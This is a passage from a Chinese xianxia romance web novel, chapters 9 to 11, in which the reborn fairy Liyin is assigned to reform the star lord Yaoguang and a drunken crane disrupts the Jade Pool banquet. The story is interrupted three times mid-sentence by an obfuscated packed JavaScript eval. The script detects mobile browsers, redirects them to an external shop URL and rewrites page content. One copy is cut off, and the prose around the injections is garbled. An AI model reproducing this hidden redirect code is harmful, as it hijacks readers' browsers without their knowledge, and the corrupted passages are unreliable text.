璃音望着身旁一个泥石垒起的土碑,尴尬得恨不得一头在上面撞死:“方才路上赶得急了些,不及整饰容表,污了圣目,还望娘娘和陛下恕罪。” 西王母却只是眉眼含笑,向她招手道:“无妨,无妨,你过来,走近些。” 然后就又向玉帝说出了那句让璃音面皮发烫的话来:“这位璃音仙子我最看好,她可是我们昆仑山上最乖、最厉害的小仙子啦。” 璃音捏捏手心道:“小仙惶恐,不敢当,不敢当。” 这是真惶恐,也是真不敢当。 虽然她于魂术一道上天赋异禀,修炼进展神速,又在月牢里日日闲着无事,就画阵练功了三百年,搞不好已真是昆仑山上魂术“最厉害”的小仙子,但要说“最乖”,那前世里死在她手下的无数冤魂可不会答应。 听玉帝始终没有做声,璃音便有些心虚地瞟去一眼,却见他神色古怪,正自盯着自己的脖子沉吟。 她心中一跳,早听闻玉帝有一双阴阳眼,莫非他已看穿自己的前世今生了?她正自心下惴惴,就忽听得他笑了开来:“是很特别,想必与摇光那小子能合得来。” 璃音:“……?” 怎么和前世的发展不太一样?有那摇光星君什么事? 此时一段记忆回笼,她忽然想起,前世她在此处遇着这二位尊驾之时,西王母也曾状似不经意地问过她一句:“小璃音,你可见过摇光星君了?” 只她当时对那位摇光星君是只闻其名,却未见得其人,便只随口回了一句“未曾见过”,娘娘听了也只是一笑,便就放她走了。 还是在后来的瑶池宴会上,她才终于与那位大名鼎鼎的摇光星君见上了第一面。 因着王母那一问,又因着他在这天宫之中实在出名,不为他那些斩邪除恶、平祸定乱的功绩,确是为他那极难伺候,没谁能忍受得了的刁钻脾性。 听闻他一道菜里要有一百个忌口,一年里就换了一百个仙厨,还把每个送菜上来的仙侍都给弄哭了,整日里垮着张脸,好像见了谁都不高兴,仙侍们无论怎么做都讨不到他一句满意。 真真是本事和脾气一样大。 据说在凌霄宝殿之上、玉帝华案之前,这位摇光星君总计遭到过三千天兵仙娥投诉,叫陛下头痛不已,却又不好真对他罚得太重,便只能是三天一劝诫,五天一训导,然而循循善诱并不起效,几千年下来,他品性仍旧如一块捂不热的臭石,恶劣如初。于是玉帝又煞费苦心送他去人间历劫十次,只为能磨一磨他的性子,不料他每次回来,脸都似乎更臭了,惊得陛下再不敢送他下界。 前世的瑶池宴上,璃音的席位正巧便在这位星君斜后,于是忍不住托着脑袋留心多看了他好几眼。 他那时便如传言一般,垮着一张俊脸,一双本该秋水含情的桃花眼里却总似燃着一团火,无差别怼哭每一个过来呈上琼浆仙果的小仙侍,确是一位性格 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13283134|140064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 十分张扬又恶劣的神君。 但有一桩事,却叫璃音委实羡慕得紧。她记得清楚,那日这位摇光星君用脸色臭走无数仙侍之后,终于想吃一个蟠桃,然而他先是嫌皮上毛多,不愿连皮啃,又说手上不能沾桃汁,不肯拿手剥,于是九天星斗凝成的上古神剑便就这么被召唤了出来,亮着它在战场上所向披靡、斩魔诛邪的熠熠剑锋,兢兢业业给主人削了半天桃子皮。 看看人家的本命法宝,多么威风,又多么乖巧!那天玉横正因什么事惹了璃音嫌弃,这一场面便看得她分外眼热。 不过如今再看,就连那般生死相照过的命剑,如今竟也又寻了新主,她与这闹心葫芦分离了也快有三百年,它倒依然追得紧。 璃音思绪回转,现在想来,西王母当时那状似不经意的发问,却似乎是意有所指,放她走时那一抹浅笑,竟也端的是意味深长。 这时西王母拉过她的手,嘴角又扬起那抹意味深长的笑来,然后便果然问出了她熟悉的那句:“小璃音,你可见过摇光星君了?” “略……略有耳闻。”璃音望一眼身旁那个土碑,那是周穆王梦游昆仑时,为作纪念垒下的,而前世的摇光星君正是殒命在此。 西王母似是看出了她神色有异,一双眼睛盯在她脸上转了又转,竟是越转越兴奋,又抬眼往她身后一瞧,眼中更是迸射出晶亮诡异的光来,笑眯眯冲璃音身后一招手,说道:“哎呀,这不是巧了,小摇光也到了,快来快来。” “娘娘,陛下。” 璃音只听得耳旁响过两声拜语,身边便站来了一位白衣束冠、眼含秋水的秀雅神君。 怎么好像和记忆里的不大一样? 她前世记忆里的摇光星君来赴宴时,身上穿的是冷蓝绣袍,眼里含的是无名邪火,头上束的是飞扬发带,通身的气质是“别来惹我”。 西王母左手正拉着璃音,便又伸出空着的右手去将摇光拉过:“好孩子,你也站近些。” 玉帝不自禁轻咳一声,似乎对“好孩子”这三个字颇有微词。 王母并不理他,只忽然幽幽叹一口气,把一直翘着的嘴角放下,额间蹙起,忧形于色,说道:“我近日演卦推卜,竟算得摇光一年内将临一生死大劫,我细细推算情由,却恐是性情乖戾,人心背离,遭逢暗算所致。” 璃音默默望了一眼身旁长身玉立的摇光星君,又看一眼耸然竖立在他背后的那座大土碑,心道王母这一卦,运劫时数都算的不错,只没算对因果,他却并非是得罪小人、遭人暗算而死。 她正自沉吟间,就听见西王母继续道:“所谓近朱者赤,习性相染,我听闻人间学堂有一种助学的法子,颇有收效,便是将顽劣些的孩子和品学兼优的孩子结对相伴,一对一看顾辅导。” 说到此处,西王母忽地把头转向璃音,将左右牵着的两只手交叠去一处握紧:“我思来想去,就只有你品行脾气都是最好,能压一压他性子,引他向善,化去他这一劫。” ……诶? 前世,在她忙着发狂杀人之际,这位摇光星君可是手执破军神剑,赴火蹈刃,为守护昆仑和苍生大义而陨落了。 璃音惊得头顶呆毛一塌,不禁睁大眼睛,缓缓伸出一根手指,指向自己:“引他向善,我吗?” 10. 第9章 先不死了 西王母见璃音一脸踌躇不解,便去悄悄给玉帝使个眼色,玉帝当即心领神会,往宽大的袖袍中一掏,掏出一串宫铃手链。 那手链璃音在前世戴了三百年,再熟悉不过,正是引魂铃中的另一半子铃,与她腰间的青铜铃铛乃是一对“子母铃”。链绳看上去像是由淡褐树皮搓织而成,其间编缀着九只玉石宫铃,铃铛表面有的雕龙画凤,有的镂月裁云,图样个个工致、个个不同,委实是巧夺天工,精妙无伦。 九只铃铛里有八只上面都刻了一个篆体小字,左边四只上刻的分别是:天、地、玄、黄,右边四只上则凿的是:宇、宙、洪、荒,只最中间一只个头稍大,却是无字,便愈发显得它莹洁灵秀、剔透玲珑。 “我们亦知此事不易,特为仙子准备了微薄谢礼。”玉帝微笑着将铃铛递过,“听闻仙子宴后便要赴旨下山,愿其伴仙子下界,祝仙子所行之事,皆能圆满。” 瞧他神色间全然一片诚挚恳切,倒似果真有万般过意不去。 然而在前世,这手链分明是西王母在瑶池宴上直接赠与她的,正是为庆贺她即将初次下界履职,这明摆着就是一礼两吃,拿现成备好的贺礼又当了谢礼。 不愧是当了千万年的上位者,套路,全是套路! 只听西王母幽幽接口道:“我近来一直在想,昆仑也是时候该有第十一位神巫了。” 这二位竟是配合无间,一个拿法宝哄之,一个以神职诱之,若是前世的她,恐怕真会将这桩苦差答应下来,但如今她既已决心自裁,这些好处便都与她没什么干系了。 于是璃音努力摆出无比惋惜的神色,顿足道:“能与摇光神君共事,实乃小仙之幸,只是……” 她正要拒绝,旁边那位一直沉默的神君却忽然开口,将她的话截了过去:“又何必强人所难,与我相处在一块,岂不比叫她去死还难受。” 接着又听他自嘲一笑,说道:“今早我殿里还跑了一位小仙童,说他宁可去给厕神当差,溺死在茅坑里,也不要在我这里多待一天呢。” 好毒的一根舌头! 因知晓前世结局,此时这位神君在璃音心中的形象可谓是十分高大威猛,听他被如此亵渎,心中颇有些不忍,脱口道:“我不是那个意思,你比茅坑还是要强上许多的。” 此话一出,三人都默然无语地向她望来。 ……好像确实听起来怪怪的。 她在安慰人这件事上素来口拙,便干脆闭了嘴。 西王母此时眸光一转,转去了璃音腰间那只玉石葫芦上面,笑道:“小璃音,这葫芦当初尝了野味,魔性难消数百年,都能认你为主,重归澄净,难道这位摇光星君会比玉横还要难训?” 璃音心中苦笑,只是西王母不知,这葫芦终究是魔性难消,甚而连她自身都要被反噬入了心魔。 她忽而就想起那晚在虞家庄时,与小天真的一段争执。 “你既已知昆仑将逢此大难,如何不图抢占先机,诛杀恶鬼,助十位神巫解困,替昆仑化去此劫。” “解神巫之困,化昆仑大劫,我配吗?你配吗?” 其实若真能为这位摇光星君、乃至整个昆仑改写结局,她如何不愿?但是她神志清醒的时间已然无多,只怕待她活到那时,便要惹出更大的祸端,害得更多无辜性命惨死。 猛然间,她又想起与李三娘女儿的一次交谈。 那时三娘的女儿爬出地窖,出了柳庄,正随璃音一起下着荒山,沿路见一条小溪潺潺,她便跑去掬一捧水,洗着脸说道:“其实我起先也是跑出来了的,当时跑得灰头土脸,就想在这溪水里洗把脸,结果这水清得跟明镜似的,我刚蹲下身子,就老清楚地照出来好大一颗光头。” “顶着这样一颗光头,我就觉得回去村里是决计不能够的了,就又回去了地窖里面,我没能搬回来救兵,其他姐妹们非但没有责怪我,反而都松了口气,原来她们也都是与我一样的想法。” “现在想来,大概锁住我们的并不是那个地窖,而是心里那道坎吧。” 璃音便问她:“那你今日,怎么又肯自己出来了?” “我一听到娘哭着喊我的声音,就什么也顾不得想了。”她将一只手伸在溪水之中,张开五指,瞧那流水一刻不歇地从指缝间悠然滑过,“不过我现在也想明白了,我只是秃了,又不是死了!便是真的要死了,也要多帮娘干两天活,再给世界多留两块香喷喷的酥饼,我也就知足了。要是我一直躲着不出来,尸体只能烂在地窖里,不知要留下多少遗憾,即便死了也不能瞑目。” 两番对话如有两个小人对打,在璃音的左右耳朵里轮番拉扯。 一会儿在左耳朵里听见自己说:“我配吗?你配吗?” 一会儿又听右耳朵里三娘的女儿在说:“要是一直躲着不出来,不知要留下多少遗憾,即便死了也不能瞑目。” 进退维谷间,她不禁偏头向身旁那位神君望去,只见他此刻眼睫低垂,意兴阑珊,长身落寞,再被身后那块见证了他命运的黄褐色土碑一衬,更添悲凉,想到他一年后便要殒命在此,不禁恻隐之心大动,那些拒绝的字句在喉头一滚,终于被她咽了下去,再翻不上来。 她虽是假圣女,却又何妨渡一渡这位真圣人?况且有这位神君在侧,若她失了神智,立时便能将她斩杀,岂不反倒便利。 心念至此,她已再无犹疑,于是一咬牙,说道:“行吧,璃音愿意领命。” 西王母登时眉开眼笑,将璃音的手覆去那位神君的手上,又轻拍着她手背笑道:“好好好,以后你便是他的小老师。” 玉帝松一口气,面上神色竟是感激涕零,他去怀中掏出一根小鞭子,与那串铃铛一起递了过来:“仙子圣女心肠,他不听话时,你就拿这个打他。” 璃音眼皮一跳,在心里喊道:“你这样说,让我怎么好意思当着他的面接下。” 却就见旁边伸出一只骨节分明的手来,替她将两样法宝一齐接过,接着将手轻轻一挥,小鞭子便去到了她的乾坤袋中,手链也服帖地戴在了她的右手腕上。 璃音抬眸,终于第一次对上他那双目含秋水的桃花眼,只见他眼睫轻颤了下,毕恭毕敬地说道:“学生顽劣,日后还烦请老师多加管教。” 竟是比方才拜见玉帝与西王母时更为谦谨。 “管教不敢当。”璃音此刻已然将他当做了一把随时可以用来自裁的刀,满脑子都是如何把他随身带着,“但求神君若无别事时,能够时刻待在我身侧。” “学生自当遵命。” 桃花眼中秋水微澜,璃音看见他一脸温顺又无害地笑了。 这不是挺乖的嘛。 璃音满意地笑眯了眼。 * 瑶池水畔,祥云叆叇,此时众仙齐聚,正各自把酒言笑,几只白鹤穿雾而来,不时长唳,清亮啼鸣撞进一片袅袅仙乐,撞出瑞音万端,琼香缥缈。 璃音点手数着池边几排描金案几,找到自己席位,正要落座,就见那位摇光星君先自坐去了她案前。 她微微一愣,便没有立刻坐下, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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正因如此,才没有仙侍甘愿忍受摇光的臭脸,常常转头就是把一纸控诉递上玉帝案前。 “怎么好让老师亲自来拿。” 璃音正自回忆着,忽听得身侧男子的嗓音清润盈耳,然后她手中的两只玉盘就被他接了过去。 璃音生怕他又与仙娥呛嘴,忙随口编了个叫他不好发作的说辞:“啊……因为我最喜欢吃这个,等不及了,现在就要吃。” 对方似乎有些惊讶:“你喜欢吃这个?” 璃音这时才看清了自己指着的是个什么东西:一坨巨大的、血淋淋的、腥气冲天的鹰胆。 璃音:“……” “吃这个有助修为。”摇光从桌案上拾起筷子,他夹筷的指骨纤长,十分优雅地去自己盘里一夹,便把又一枚血糊糊的鹰胆夹去了璃音碗里,“你既喜欢吃,我的这枚也给你。” 两枚鹰胆挤在一只碗里,成倍的腥气差点直接击穿璃音的天灵盖,她艰难忍下一声干呕,极缓极慢地将碗往远处推了一把,正色道:“……我忽然觉得,此等佳肴,还是慢慢品尝的好,不然岂不辜负了神君一番美意。” 只听得摇光轻笑一声,便没有再说什么。 这家伙该不会是故意的吧? 便在此时,自半空传来脆亮凤鸣,一声一声由远而近,不消片刻,便见西王母携着一只青鸾、一只彩凤,手持如意,步踏瑞霭,翩然走去正首第一席落了座。 她一坐定,一位仙子便将磬音敲响,随即瑶琴声歇,换作了丝竹鼓乐之声大作。 西王母抬手将如意一挥,便听青鸾使者亮起嗓子喊道:“开宴——” 三百年一度的瑶池盛会,天宫里最热闹、也是乱子出得最多的一场筵席,终于开宴了。 璃音浅浅斟了一口桃花酿,心中暗暗计算着时间。 若她记得不错,瑶池宴上的第一个乱子,马上就要来了。 11. 第10章 瑶池盛宴 开宴已定,瑶台之上,凤奏鸾鸣声中,便有十位仙君各穿绣线华服,手持金玲蛇杵,踏罡步斗,翩然而至,正是昆仑仙山上的十位神巫。 十巫齐齐举动银杵,望空中一摇,便将杵上铃铛摇动,又击鼓而歌,脚下瑞霭搅动,口中祝祷不绝。 璃音见他们振鼓摇铃,且歌且舞,祥和喜悦,生机一片,不禁胸口酸酸地发起胀来。 一位女神君正自吟歌而舞,转身时,不期正好对上璃音怔忡微痛的眼神,便偷偷一吐舌头,做了个鬼脸,要逗她开怀。 璃音眼眶一热,低低喊了一声:“巫盼师姐……”便努力扯开嘴角,向她回了一个难看至极的笑脸。 “阿横。” 璃音听得身后一声呼唤,转头望去,就见一位神君身披纯白鹤氅,头戴月华玉冠,眉目清朗,丰神俊秀,却可惜双足无法行走,自己推着身下一把形制机巧的轮椅,稳稳停去了璃音案旁。 他眼角敛一抹盈盈笑意,却佯装发怒道:“怎么也不打声招呼就自个儿先来了,亏我特意去还音殿给你送好东西,却跑了个空。” 他嗓音清冽,又总是含着几分笑意,说起话来便如泉水击石,沁脾叮咚。 而前世,她最后一次听到他的声音,却是他悲痛又绝望地颤声对她说:“阿横,你知不知道,你杀人了!” 璃音伸手去替他将微微敞开的大氅拢了拢,然后端过那碗鹰胆,塞去他手上,笑道:“商止师兄,这个对你最是大补,我忍痛割爱,把这两枚都孝敬给你,你就原谅了我吧。” 商止摇头笑着接过那碗,再抬眸看向璃音时,却是一愣:“阿横,你的脖子……” 话到一半,却已有一位仙君快步上前,关切抢声道:“阿横,你受伤了?” 璃音望着来人熟悉的远山眉眼,白衣玉冠,一时竟有些发怔。 “你也是关心则乱,她有玉横护体,能受什么伤。”只听商止在一旁笑道,“多半是这个小粗心鬼不知在哪里沾上了什么颜料。” 忽又听得一个颇有些幽怨的女声道:“璃音仙子,你穿的这是什么?” 璃音抬眼,见是锦云仙子脸色不佳地近了前来,看样子她是与商月一道来的,只是方才商月急着上前,她便迟了几步落在后面。 今日虽错过了商月送她的那件青玉流仙裙,但身上这件也只是质朴了些,她日日穿在身上,也并无什么不妥,如何竟会惹得这位仙子生出怨气?璃音委实难解,更何况她与这位锦云仙子刚在虞家村打过照面,这身打扮却也不是她第一次见了。 璃音终于还是忍不住问道:“我衣服怎么了吗?” 不料锦云仙子闻言,竟又含嗔带怒地向璃音瞪去一眼,又轻轻一跺脚,再撇眼望了会儿她的脖子,便转身如那轻盈的云彩一般飘走了。 何以这次回来,锦云仙子变得如此奇怪? 又何以今日遇到的人,都要来盯着她脖子看? 璃音不自觉伸手摸上自己脖颈,摸了半晌,却什么也没摸出来,她正自疑惑间,忽见从身子右侧贴心递来一面小巧铜镜,却是摇光星君递来的。 她称谢接过,往脖子上一照,终于了然,她本雪白的脖颈间,竟是狰狞地掐着两个乌青的手掌印! 想来是在虞记染坊时,程经武沾了靛蓝染液的手死掐她脖子沾上的,却叫商月误会成了淤青。 她没有去看商月殷殷关切的目光,只对着镜子解释道:“我没受伤,只是一时不注意,叫染料溅了脖子。” “怎么这么不小心。”只听那人无奈轻笑一声,便从袖中掏出一块雪白绣帕,细细去她脖颈上擦拭起来。 忽然商止轮椅一动,却是巫盼献完了祝舞,一溜烟将他推走了,她背影跳脱,快步行走间还远远飘来一句:“人家在这里卿卿我我,你杵在在这里凑什么热闹。” 璃音一咬下唇,见商月手中那块雪白的帕子渐渐染上乌青,就不禁想到前世,商月为了她,可谓是前途尽毁、肝肠寸断,不正是叫一池清水染墨、一捧傲雪藏污了么?他对她一片赤诚心意,这一世,她绝不能再这样心安理地接受,害他重蹈覆辙。 想到此处,璃音便狠下心,开口道:“商月,我……” 却不想话未出口,就听右旁一声袖带风响,镜中人的脖颈又恢复了白皙一片。 璃音忽地想起什么,唰的回头,见那位刚施完净体咒的神君正慢悠悠斟着一口桃花酿,不禁磨着牙问道:“神君将我这发青的脖子瞧了一路,都没想过用净体咒替我除一除?” 摇光手中琉璃杯盏顿了顿,才道:“我以为那是老师特意化的某种……颈妆?” 璃音闻所未闻地睁大眼:“颈妆?” 这时恰逢一位小仙娥端来蟠桃,摇光便将她叫住,伸出一整个手掌,往那仙的黛眉凤眼旁一放:“眼妆。” 接着手掌稍稍向下,去小仙娥抹了胭脂的双颊边一绕:“面妆。” 最后拿过璃音手中铜镜,去她脖间一照:“颈妆。” 想了想,又补充一句:“与你当时那冲天的发式想来正是一套。” 璃音:“……” 这人为什么能一脸正色地说出如此不着调的话来?这是瑶池宴,不是人间的扮鬼节! 但看他神色坦然,竟又不似装的,就像真以为脖子上那俩青手印是她的妆容巧思一般。 那小仙娥却已噗嗤一下笑出声来:“看来传言也不可全信,没想到摇光星君竟是如此幽默的一位神君。”说着放下两只水灵灵的大蟠桃,便掩面转身,止不住笑地走远了。 商月疑惑道:“什么冲天的发式?” “仙君没看到么?”摇光又慢悠悠拿起那杯琉璃盏,看起来心情甚好地将盏中桃花酿轻轻一晃,“真是可惜了。” 是故意的吧?绝对是故意的! 这家伙这一世看似脾气收敛了不少,却没想到是从明怼进化成了暗损,竟比前世还要可恶! 璃音眯眼将这位神君紧紧盯着,正兀自鉴貌辨色,揣度着他的心思,就忽见这位转了性的神君右手一扬,便从虚空中召出一把星光璀璨的宝剑来。 正是那把往她心窝子里捅过三下的破军神剑。 “好剑!”商月忍不住赞叹。 摇光轻轻一笑,向商月看去一眼:“你的浮光也很不错。” 他竟知晓商月的浮光剑?璃音心中微讶,还以为他自视甚 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“神君不是爱吃这个么,多吃点。”想起前世这位神君似乎爱吃蟠桃,璃音忙将自己那颗也推去他面前,却不料一瞥眼,就看见那破军神剑已经又在兢兢业业给主人削桃子皮了。 璃音嘴角一扯,将商月往摇光身前拉了拉,笑道:“商月的浮光剑练得确实好,是月宫里顶有前途的仙君呢。” 商月被她一拉,颊上染上一抹薄薄的红,笑望着她道:“我哪有你说得这么好。” 这哪里是谦虚的时候,璃音忙道:“你不必自谦,你就是有这么好。” 却只听砰的一声,破军一剑削歪,竟是把这描金桌案的一角削了下来。 就在这时,一个小仙童急步跑来喊道:“商月仙君,宫主喊你过去祝酒。” “知道了,我这就过去。”商月回了小仙童,又转头过来,附耳去璃音耳边低声道:“阿横,今晚苍梧林中一见,我……我有话要和你说。” 热气呼在璃音耳中,吹得璃音耳朵和心里都痒痒的。她记得的,前世瑶池宴后那一晚,苍梧林中,月华银辉之下,商月说喜欢她,要和她永远在一起,然后他们牵着手,在月光下散了很久很久的步,那时她以为,他们真的会永远在一起的。 “我会在那里等你。”商月微红着脸说完这一句,便被小仙童急吼吼地拉走了。 两人还未走远,便又有仙侍端了芙蓉糕呈上,仙人其实无需食物果腹,故而这仙界里的吃食,不是些助长灵力的蛇血鹰胆,就是这类品相精致却入口齁甜的花糕点心,莫说前世的摇光神君不爱吃,便是璃音也没几样下得了口。 果然那位挑剔的神君一见着这盘芙蓉糕,就又挑起刺来:“专挑我不爱吃的上……” 这话过于耳熟,璃音先前还道他转了性,不再明着给人摆脸色,岂料他这性子时晴时雨,比那人间三月里的天气还难捉摸,先前还一副乖巧听话的样子,这会儿却又沉着一张脸,不高兴起来了。 璃音唯恐他又说出那后半句,给玉帝案前再多惹出一张状纸来,心念电转间,她伸手去怀里一探,竟果真摸到一样东西,她松一口气,上一世的瑶池宴上,这东西可是实实在在曾博了他一个浅笑呢,于是胸有成竹将它掏出,递去了那位臭脸神君眼前。 12. 第11章 白鹤醉酒 璃音素来不喜甜食,料想身旁这位摇光神君也是一样。前世的瑶池宴上,她就坐在他斜后,她一介小仙,又没多少应酬往来,百无聊赖之际,便暗中观察了这位臭脸神君良久,实是一桩好消遣。 那时的他脸和现在一样臭,对端上桌案的每一盏菜肴果酒,都要嫌长道短、挑三拣四。但待得他将上菜的仙侍们一一怼走后,便就低垂了眼睫,什么也不吃,就那样不甚高兴却又安安静静地坐着,天宫中人人都知晓他性格恶劣,便也无人上来与他搭话。 摇光星君白纸黑字给仙厨们列了长长的一百条忌口这事,在天宫传得众仙皆知,早已沦为一桩奇闻笑谈。 璃音初次听闻这传言时,便十分不解,歪过了头去问那几位正把神君的坏脾气讨论得热火朝天的仙厨:“那忌口都已白纸黑字列好,发去每位仙厨手中了,虽说有一百条,却也是有依有据、清清楚楚的一百条,小心避开不就好了,怎还会总惹得神君大怒?” 那里面有一位白胡子的仙厨便就哈哈大笑起来,他昨天刚被摇光星君从紫宫里赶了出来,于是右手一抚下巴上的白须,换上一副很是见过世面的口吻道:“小女娃儿涉世未深,却不知那忌口一百条还是两百条都是个幌子,不过就是要有个借口发难,你便是真按他的单子做了,他也自有别的道理,定要把这脾气发去你身上。” 璃音便问他:“那你真按那单子做了吗?” 那白胡子仙厨却不说话了,只把胡子一吹,眼睛一瞪,过了好一会儿才道:“你这小仙子怎么听不懂话,都说了那不过是他给自己发脾气找的由头,照不照着做还不都是一样。” 说着将手一摆:“唉你这小丫头真没意思,我不跟你说了,走了走了。”转身扬长而去。 那不就还是没照着那忌口单子做嘛! 璃音那时便想,这位神君真是因为生性恶劣,所以才整日里没事找事的吗?但或许只是这些菜品真的不合他口味,所以才不高兴的呢?毕竟如果每天都吃不好的话,确实很影响心情。 所以前世此时,她也终于熬不住这一碟又一碟齁甜的果品,便偷偷溜出瑶台,躲去了蟠桃园中一棵夭夭灼灼的大桃树背后,从怀中摸出了两块人间偷带回来的桂花小麻糕。 岂料就在她张嘴要啃时,就见桃树另一边转出那位臭脸神君来,他似是也没想到会遇着小仙子在此偷食零嘴,偷吃的还不是满园的大蟠桃,而是人间掉着饼渣的小麻糕,神情颇有些错愕。 天宫中是不许偷吃下界食物的,璃音被他撞破,便忙塞了一个小麻糕去他手里,想着吃人嘴软、拿人手短,分你一块,总不好意思去西王母那儿告她的状了吧。 忽地想起什么,她忙一敲脑袋,又将他手中小麻糕抢了回来,换了另一块送去他手里:“我看你也不爱吃甜,这块椒盐味的,更合口味。” 神君狐疑着望了她好一会儿,终于还是狐疑着咬了一口。 “阿横,你果然又躲在这里偷吃。” 忽然听得身后传来商月无奈又好笑的呼唤声,璃音忙举起手中小麻糕,去那位神君眼前一晃,道:“你既收了我的贿赂,可就不能再去西王母娘娘那里告状了。” 那位神君没有做声,却似乎极浅极淡地笑了。 收买成功! 璃音便笑眯眯转身,和商月一起出了蟠桃园,心想自己所料不错,那位神君果然也是在这遍地甜口的天宫里,饱受迫害的一位咸口党。 有了前世的成功经验,于是在摇光又一次臭着脸、吐出这句“专挑我不爱吃的上……”的时候,璃音便试着去怀中一摸。 小天真果然不负所望,下山去寻玉横也不忘先偷买了这两块桂花小麻糕。 但人间的吃食毕竟不许上天宫,不好光明正大地拿出来,她便挑出那块椒盐味的拢去袖中,只露出一点儿边角,神神秘秘伸去摇光眼前,又神神秘秘附去他耳边道:“神君不若尝尝这个。” “你……” 他刚要开口说些什么,就听得接连几声砰砰重响,又夹杂几位仙侍的惊呼之声,循声望处,已有数只桌案四脚朝天、西歪东倒,显是被掀翻在地。 璃音当即敛袖收手,神色一凛,心道:“终于来了!” 在一片哐啷啷的杯盘碗盏落地声中,只见一只白鹤歪斜着身子,长竿似的两腿乱跳,横冲直撞,左冲右突,忽而仰头张嘴,长声鹤唳,便一个振翅高旋,不知去哪里飞了一圈过来,口中竟衔回一盏元始天尊讲法时照明用的玉虚琉璃灯,它飞得踉跄,嘴里叼着的那盏大灯乱摇,忽地长喙一开,那灯便从空中直直落下,径往璃音头顶砸来。 上一世这变故来得突然,璃音尚来不及动作,便被商月一个揽身护去了怀中,破碎的琉璃灯片砸进商月肩头,在他身上留了好久好久的伤疤。虽然她不明白,商月既比她先行察觉那危险要来,为何不用法术截了那灯,也不召浮光剑制止那鹤,却扑来她身上用躯体挡灾,但她也正是因着他这奋不顾身的一护,才在月光下的苍梧林中,与他许下了“此生唯君而已”那般酸溜溜的誓言的。 这一次她早有防备,早在那白鹤远远叼着大灯回来时,便右手中指向内微扣,腕间九只铃铛中的“宙”字铃铛大亮,只等那疯鹤飞来自己头顶。 就在那盏大灯正对着璃音坠下之时,她却猛然想起身边还坐着一位神君,于是忙伸手向旁一拉,想要拉他一齐闪身躲开,却不想拉了个空,便在这眨眼的错愕间,已有一道熟悉的身影飞快闪来了她身边,只听他焦急喊了一句“阿横,小心!”,便一把将她紧紧拥入了怀中,护去了身下。 商月这一抱抱得璃音甚紧,似乎还使上了灵力,竟叫她再闪身不得。 璃音心里叫苦,虽然他这样赶来护她,她总归是感动的,但直到现在,她也仍旧参不透他这一抱在战术上的意义,除了让自己被琉璃片戳伤,还有什么作用? 大灯既已坠下,落到他们身上不过就是一瞬间的事,然而数息过去,却无事发生。 璃音努力挣扎着从商月怀里探出头来,朝天一望,却见摇光神君飞身在半空之中,一手稳稳托住那盏玉虚琉璃灯,另一只手却扼住了那只作乱白鹤的咽喉。 她见此情形,脑中忽然有模糊的画面闪过,上一世,在她被商月护在怀中之时,似乎隐约听到了铮的一声,应是谁的法器与那琉璃灯盏相撞,却不想撞碎了琉璃一角,因此才落下碎片来,伤了商月的右肩,待她探头相望时,空中却已什么也没有,只看见了几点蓝白色余光闪烁,当时她没有多加在意,如今想来,前世击走她头上这盏大灯的,莫不是破军? 想到此处,璃音又不禁摇头失笑,摇光星君此刻只消得两只赤手,便将一灯一鹤尽数拿捏了,哪里会用出动破军神剑? 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13283137|140064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >听着四下里群仙一片喝彩,她心中竟不免悄悄地泛起酸来:若不是方才被束缚住了手脚,此时被众仙交口夸赞的便该是我了。这么想着,她不觉间手上用力,狠狠将温柔环抱着自己的那人推了开去。 商月被她推得连退好几步,面上一片愕然:“阿横?” “对不起,我……我……”等意识到自己方才想了什么,又做了什么,璃音惊得连连甩起了脑袋,仿佛这样就可以把那些可怕的想法彻底甩掉。 商月见她如此,却只当是受了惊,忙又上前来,轻拍她的后背安抚道:“你别怕,摇光神君已将那发疯的白鹤制住了。” 璃音却早已是无地自容。 前世的她便是被这争强好胜、爱博名声的性子害出了心魔,终于遭了反噬。如今她该做的,便只有克制这些不该生出的欲念,厘清前事,低调赎罪,至于别人口中的盛赞与美名,还是留给他们那些真圣人就好。 这时摇光已自掐住那白鹤的脖子,从空中飞落,璃音见他往自己这边一瞥,那白鹤便就忽然猛烈挣扎起来,似是被掐得快要透不过气。 “神君容情!”只听得一声高呼,便从席中急步奔出一位老仙翁来,白发长须,手持拐杖,没走两步便已吁吁喘气。 此番动静终于惊动西王母,只见她自席间缓缓起身,肃声问道:“南极仙翁,方才那作乱的可是你座下白鹤?” 南极仙翁闻言忙停了脚步,转身去向西王母作下一揖,指着那白鹤骂道:“这畜生方才偷喝了我的那杯桃花酿,竟是把自己喝醉了,却不是有意扰乱娘娘宴席,还望娘娘和神君手下容情,我自回去罚它看守寒潭三百年,再不叫它出来惹事。” 宴席之上,常有仙子神君贪饮,有时饮得醉了,便闹几个大洋相出来,众仙也都付之一笑,只是这如此贪杯的仙禽灵兽倒还是头一次见,群仙听了这番原委,不禁都哈哈大笑,直把这“白鹤醉酒,长喙盗灯”当作一件天大的风流趣事,都为仍在摇光手中蹬腿挣扎的白鹤求起情来。 西王母听罢其中情由,也不禁哑然失笑,她似不愿扫了众仙雅兴,便向摇光道:“它既被你抓了,便由得你来处置吧。” 摇光却将那白鹤往前一举,举去了璃音跟前:“老师,这畜生好像是冲你来的。” 